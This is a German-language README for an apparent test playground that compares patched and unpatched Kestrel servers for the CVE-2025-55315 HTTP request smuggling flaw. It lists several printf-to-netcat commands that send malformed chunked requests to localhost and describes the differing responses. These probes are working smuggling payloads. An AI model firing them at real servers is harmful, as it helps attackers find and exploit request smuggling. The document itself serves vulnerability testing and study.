
# Spielplatz zum Experimentieren mit unterschiedlichem Verhalten bei gepatchtem/ungepatchtem Kestrel für die CVE-2025-55315 HTTP-Smuggling-Schwachstelle
Hier sind einige Tests, die gegen diese Dienste durchgeführt werden können, um unterschiedliches Verhalten bei GET/POST-Routen zwischen den gepatchten und ungepatchten Versionen von Kestrel zu beobachten.
GET gegen ungepatcht (sendet 200 und Socket bleibt offen)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
GET gegen gepatcht (sendet 200 und Socket schließt)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST ohne erforderliches CT gegen ungepatcht (sendet 200 und Socket bleibt offen)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST ohne erforderliches CT gegen gepatcht (sendet 400 und Socket schließt (Prozess wirft außerdem eine behandelte Ausnahme bezüglich Bad chunk extension))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
POST mit erforderlichem CT gegen ungepatcht (sendet 415 und Socket bleibt offen)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
POST mit erforderlichem CT gegen gepatcht (sendet 415 und Socket schließt)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001